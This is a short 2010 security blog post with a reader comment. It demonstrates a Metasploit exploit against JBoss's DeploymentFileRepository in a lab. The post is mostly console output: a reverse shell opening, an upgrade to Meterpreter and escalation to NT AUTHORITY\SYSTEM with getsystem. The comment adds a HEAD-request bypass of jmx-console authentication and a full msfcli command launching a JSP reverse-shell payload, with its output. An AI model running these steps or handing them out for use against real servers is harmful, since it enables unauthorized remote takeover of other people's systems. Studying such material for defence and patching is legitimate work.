Sunday, May 9, 2010

Metasploit jboss deployment file repository exploit

MC pushed out a new exploit today (jboss_deploymentfilerrepository)

so while it lists 4.x as vuln, actually several other versions are vulnerable as well including 6.0.0M1 and 5.1.0 :-)
msf exploit(jboss_deploymentfilerepository) > exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Triggering payload at '/web-console/HYQ.jsp'...
[*] Command shell session 3 opened (192.168.1.101:4444 -> 192.168.1.101:57796) at Sun May 09 11:20:31 -0400 2010

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop\jboss-6.0.0.M1\jboss-6.0.0.M1\bin>whoami
whoami
win2k3lab\administrator

C:\Documents and Settings\Administrator\Desktop\jboss-6.0.0.M1\jboss-6.0.0.M1\bin>^Z
Background session 3? [y/N] y
msf exploit(jboss_deploymentfilerepository) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
3 shell 192.168.1.101:4444 -> 192.168.1.101:57796

msf exploit(jboss_deploymentfilerepository) > sessions -u 3

msf exploit(jboss_deploymentfilerepository) >
msf exploit(jboss_deploymentfilerepository) > [*] Meterpreter session 4 opened (192.168.1.101:4444 -> 192.168.1.101:36591) at Sun May 09 11:21:32 -0400 2010

msf exploit(jboss_deploymentfilerepository) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
3 shell 192.168.1.101:4444 -> 192.168.1.101:57796
4 meterpreter win2k3lab\Administrator @ win2k3lab 192.168.1.101:4444 -> 192.168.1.101:36591

msf exploit(jboss_deploymentfilerepository) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: win2k3lab\Administrator
meterpreter > use priv
Loading extension priv...success.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\Documents and Settings\Administrator\Desktop\jboss-6.0.0.M1\jboss-6.0.0.M1\bin
meterpreter >

1 comment:

  1. In a JBoss configuration file called web.xml, there is a commented out block of XML that supports authentication when uncommented. It also lists all of the methods to require authentication--GET and POST. By using HEAD requests under this configuration, the authentication check is bypassed and jmx-console is still used to upload the payload. By simply moving the data portion of the POST into the URI, the HEAD method will also bypass the JBoss security configuration.

    For example:

    Jmx-console authentication bypass:

    HEAD /? + upload payload

    Default installation of JBoss:

    POST /

    data to upload payload

    Since the payload is dropped into web-console, the HEAD method only needs to be called once. It is slower than POST without authentication, but still works great. Here is a log of a Windows JBoss victim with authentication enabled.

    Basic options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    PATH console-mgr.sar/web-console.war/ yes The URI to deploy the payload.
    Proxies no Use a proxy chain
    RHOST 192.168.0.202 yes The target address
    RPORT 8080 yes The target port
    SHELL cmd.exe yes The system shell to use.
    URI /web-console/ yes The URI to call the payload.
    VERB head yes The HTTP verb to use
    VHOST no HTTP server virtual host

    # ./msfcli multi/http/jboss_deploymentfilerepository VERB=head SHELL=cmd.exe RHOST=192.168.0.202 LHOST=192.168.0.196 LPORT=63323 payload=java/jsp_shell_reverse_tcp E
    [*] Please wait while we load the module tree...
    [*] Started reverse handler on 192.168.0.196:63323
    [*] Triggering payload at '/web-console/OD.jsp'...
    [*] Command shell session 1 opened (192.168.0.196:63323 -> 192.168.0.202:2121)

    C:\Documents and Settings\testing\Desktop\jboss-6.0.0.M1\bin>

    ReplyDelete